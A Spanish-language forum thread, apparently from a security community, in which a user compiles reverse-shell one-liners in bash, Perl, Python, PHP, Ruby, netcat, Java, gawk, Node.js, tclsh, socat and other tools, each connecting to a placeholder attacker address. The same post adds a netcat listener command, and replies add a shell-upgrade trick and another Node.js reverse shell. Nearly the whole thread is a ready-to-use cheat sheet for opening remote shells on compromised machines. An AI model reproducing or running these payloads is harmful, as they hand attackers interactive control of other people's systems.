Buen dia gente, últimamente he estado recolectando algunos comandos para obtener shells inversas en diferentes lenguajes de programación, es una tarea un poco tediosa tener que buscar siempre y me gustaria tenerlo todo en un solo lugar.
Qué mejor que ese lugar sea la comunidad dragonjar donde me han sabido recibir muy bien, entonces les dejo algunos de los que he encontrado, pero los invito a hacer crecer la lista para que se vuelva un hilo de consulta permanente que nos ayude en estos temas.
EN BASH
bash -i >& /dev/tcp/TUIP/8080 0>&1
EN PERL
perl -e 'use Socket;$i="TUIP";$p=PUERTO;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
EN PYTHON
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TUIP",PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
EN PHP
php -r '$sock=fsockopen("TUIP",PUERTO);exec("/bin/sh -i <&3 >&3 2>&3");'
EN RUBY
ruby -rsocket -e'f=TCPSocket.open("TUIP",PUERTO).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
CON NETCAT
nc -e /bin/sh TUIP PUERTO
EN JAVA
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/TUIP/PUERTO;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
CON XTERM
xterm -display TUIP:1
CON EXEC
exec 5<>/dev/tcp/TUIP/PUERTO
cat <&5 | while read line; do $line 2>&5 >&5; done
CON TELNET
telnet attackerip PUERTO | /bin/bash | telnet attackerip 2345
CON GAWK
awk 'BEGIN {s = "/inet/tcp/0/TUIP/PUERTO"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
CON NODE.JS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(PUERTO, "TUIP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Para que Node.js no se rompa
})();
CON TCLSH
echo 'set s [socket TUIP PUERTO];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
CON SOCAT
socat tcp-connect:TUIP:PUERTO exec:"bash -li",pty,stderr,setsid,sigint,sane
Recuerden que deben tener a la escucha el Netcat para recibir la shellcode
nc -l -p PUERTO -vvv
Buen día @Garbage gracias por el aporte, la verdad es que me pasa igual, a mi personalmente me molesta mucho que las shells sean planas y poco interactivas, por eso pienso que te falta poner este comando en python para convertir la conexión obtenía en una Shell más usable.
python -c 'import pty;pty.spawn(“/bin/bash")'
Tengo otra con node
NODE.JS
require('child_process').exec('bash -i >& /dev/tcp/TUIP/¨PUERTO 0>&1');
Tienes que tener netcat
nc -e /bin/sh IP PUERTO
Pareces nuevo por aquí. Si quieres participar, ¡pulsa uno de estos botones!
Respuestas
Gracias mi gran amigo por el aporte
gran aporte,
gracias @Garbage
@fcastaneda con gusto, lo que sea por este foro
yo dejaria esto que nos compartio dragon en twitter